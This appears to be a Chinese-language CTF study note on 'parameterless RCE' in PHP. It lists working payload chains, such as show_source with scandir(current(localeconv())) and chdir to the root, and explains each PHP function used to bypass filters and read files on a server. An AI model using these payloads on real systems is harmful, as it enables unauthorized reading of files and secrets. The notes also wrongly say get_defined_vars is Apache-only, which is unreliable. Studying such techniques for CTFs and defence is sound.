无参RCE
常用payload
- show_source(array_rand(array_flip(scandir(current(localeconv())))));
- highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd())))))))));
- var_dump(get_defined_vars());:暴力输出所以变量
chdir():这个函数会改变当前的工作目录到指定目录,这里将工作目录改变为根目录,并返回布尔值,如果没有这一步会发现不能读取根目录下的文件,只会报错
scandir()
可以获取当前目录的文件和子目录
传入值:接收参数是要扫描的路径
返回值:返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)
scandir(‘.’)

因为是无参RCE,所以引号和点这些符号可能会禁用,就要和localeconv()和current()搭配使用
scandir(current(localeconv()))
current()
获取数组的当前元素
传入值:一个数组
返回值:会返回数组中的当前元素,在每一个数组中都有一个内部指针指向某个元素,默认情况下指向第一个元素
可以与localeconv() 搭配使用,从而获取localeconv() 返回的数组中第一个元素点 .
current(localeconv())
pos()
这是current()的别名函数,和其作用一样是获取数组的当前元素
传入值:一个数组
返回值:会返回数组中的当前元素,在每一个数组中都有一个内部指针指向某个元素,默认情况下指向第一个元素
pos(localeconv())
localeconv()
返回一包含本地数字及货币格式信息的数组。
传入值:无需传入参数
返回值:返回内容是一个包含众多格式化设置的关联数组
这里数组第一项就是‘.’,这个.的用处很大

glob()
用于文件路径名模式匹配的函数,可以获取文件路径的数组
传入值:要匹配的文件路径名
返回值:一个包含匹配文件路径的数组
glob(‘*’)
getcwd()
取得当前工作目录的绝对路径
传入值:无需传入参数
返回值:会返回当前工作目录的绝对路径
dirname()
获取路径中的目录部分
传入值:接收一个路径参数
返回值:返回路径中的目录部分
可以和getcwd()搭配使用
dirname(getcwd())
array_flip()
交换数组中的键和值
传入值:会接收一个数组
返回值:返回一个键和值交换位置的数组
可以和scandir(current(localeconv()))搭配使用
array_reverse()
将数组中的元素颠倒过来
传入值:接收一个数组
返回值:返回i一个键和值交换位置的数组
可以和array_flip(scandir(current(localeconv())))搭配使用
array_reverse(array_flip(scandir(current(localeconv()))))
array_rand()
这个函数可以从一个数组中随机抽取一个或多个键
传入值:接收一个数组,如果没有指定选取键的数量会默认为1
返回值:会返回随机选取的键
可以和array_flip(scandir(current(localeconv())))搭配使用
array_rand(array_flip(scandir(current(localeconv()))))
chdir()
这个函数会改变当前脚本的工作目录
传入值:需要接收目标目录的路径
返回值:返回值是布尔类型
dirname(chdir(dirname(dirname(dirname(getcwd()))))));
strrev()
这个函数可以将字符串反转
传入值:要进行反转的字符串
返回值:反转后的字符串
strrev(“hello”)

end()
可以将数组内部指针移动到最后一个元素
传入值:要操作的数组
返回值:返回数组的最后一个元素的值
end(scandir(current(localeconv())))


next()
可以将数组的内部指针向前移动一位
传入值:要操作的数组
返回值:返回移动后内部指针所指向的元素的值, 如果超出数组范围会返回false
prev()
将数组的内部指针倒回一位
传入值:要操作的数组
返回值:返回移动后内部指针所指向的元素的值, 如果超出数组范围会返回false
reset()
将数组内部指针重置到第一个元素
传入值:要操作的数组
返回值:返回重置后的内部指针指向的元素的值,即数组第一个元素的值
each()
可以获取当前数组内部指针指向的元素的键和值,并将指针向后移动一位
传入值:要操作的数组
返回值: 返回一个包含四个元素的数组,键0和key对应元素的键,键1和value对应元素的值。如果数组指针已经超出数组范围,返回false
each(scandir(current(localeconv())))

ord()
获取字符串中第一个字符的ASCII码值
传入值: 要处理的字符串
返回值: 字符串中第一个字符的ASCII码值
ord(end(scandir(current(localeconv()))))
chr()
和ord()函数功能相反,这个函数是将ASCll码值转化为字符
传入值:ASCll码值
返回值:ASCll码值对应的字符
getallheaders()
这个函数可以获取全部的 HTTP 请求头
传入值:无需传入参数
返回值: 会返回一个包含请求头的数组,键为请求头,值为请求头的值
不过这个函数只能在 Apache 环境中使用,其他环境不能用

get_defined_vars()
这个函数可以返回所有已定义变量的数组,包括全局变量、局部变量、超全局变量等
传入值:不需要传入参数
返回值: 返回一个包含所有已定义变量的关联数组
不过这个函数只能在 Apache 环境中使用,其他环境不能用
session_id()
这个函数可以获取或设置当前会话的 Session ID
传入值:不需要传入参数
返回值:返回当前会话的 ID,如果没有就会返回一个空字符串
读取文件内容函数
highlight_file()
show_source()
readfile()